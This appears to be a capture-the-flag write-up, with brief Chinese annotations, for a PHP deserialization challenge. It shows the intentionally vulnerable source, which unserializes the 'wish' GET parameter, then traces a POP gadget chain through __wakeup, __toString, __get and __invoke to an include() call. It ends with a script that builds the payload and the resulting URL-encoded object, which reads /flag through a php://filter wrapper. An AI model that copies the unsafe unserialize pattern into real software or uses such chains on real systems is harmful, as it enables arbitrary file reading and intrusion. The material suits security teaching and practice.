Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
利用点->include(伪协议) php://filter/convert.base64-encode/resource=/flag
构造链
try-work-hard::append -> try-work-hard::__invoke -> make-a-change::__get -> make-a-change::__construct ->(不会被执行,跳过) -> road-is-long::__tostring -> road-is-long::__wakeup
2.字符串比较会触发tostring
写payload
<?php
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var='php://filter/convert.base64-encode/resource=/flag';
}
class Make_a_Change{
public $effort;
}
$a=new Try_Work_Hard;
$b=new Make_a_Change;
$b->effort=$a;
$c=new Road_is_Long;
$c->string=$b;
$c->page=$c;
echo urlencode(serialize($c));
?>
结果
O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3Br%3A1%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A49%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fflag%22%3B%7D%7D%7D